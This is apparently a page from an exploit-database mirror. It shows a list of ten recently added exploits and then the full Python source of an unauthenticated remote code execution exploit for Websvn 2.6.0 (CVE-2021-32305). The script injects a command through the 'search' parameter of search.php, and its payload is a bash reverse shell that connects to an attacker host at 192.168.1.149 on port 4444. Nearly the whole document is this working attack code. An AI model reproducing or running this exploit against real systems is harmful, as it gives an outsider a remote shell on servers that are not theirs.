033645d201
10 changes to exploits/shellcodes Wise Care 365 5.6.7.568 - 'WiseBootAssistant' Unquoted Service Path iFunbox 4.2 - 'Apple Mobile Device Service' Unquoted Service Path Lexmark Printer Software G2 Installation Package 1.8.0.0 - 'LM__bdsvc' Unquoted Service Path Remote Mouse GUI 3.008 - Local Privilege Escalation Solaris SunSSH 11.0 x86 - libpam Remote Root (3) OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) Simple CRM 3.0 - 'Change user information' Cross-Site Request Forgery (CSRF) Simple CRM 3.0 - 'name' Stored Cross site scripting (XSS) Websvn 2.6.0 - Remote Code Execution (Unauthenticated) Customer Relationship Management System (CRM) 1.0 - Remote Code Execution
30 lines
No EOL
1 KiB
Python
Executable file
30 lines
No EOL
1 KiB
Python
Executable file
# Exploit Title: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)
|
|
# Date: 20/06/2021
|
|
# Exploit Author: g0ldm45k
|
|
# Vendor Homepage: https://websvnphp.github.io/
|
|
# Software Link: https://github.com/websvnphp/websvn/releases/tag/2.6.0
|
|
# Version: 2.6.0
|
|
# Tested on: Docker + Debian GNU/Linux (Buster)
|
|
# CVE : CVE-2021-32305
|
|
|
|
import requests
|
|
import argparse
|
|
from urllib.parse import quote_plus
|
|
|
|
PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.149/4444 0>&1'"
|
|
REQUEST_PAYLOAD = '/search.php?search=";{};"'
|
|
|
|
parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
|
|
parser.add_argument('target', type=str, help="Target URL.")
|
|
|
|
args = parser.parse_args()
|
|
|
|
if args.target.startswith("http://") or args.target.startswith("https://"):
|
|
target = args.target
|
|
else:
|
|
print("[!] Target should start with either http:// or https://")
|
|
exit()
|
|
|
|
requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))
|
|
|
|
print("[*] Request send. Did you get what you wanted?") |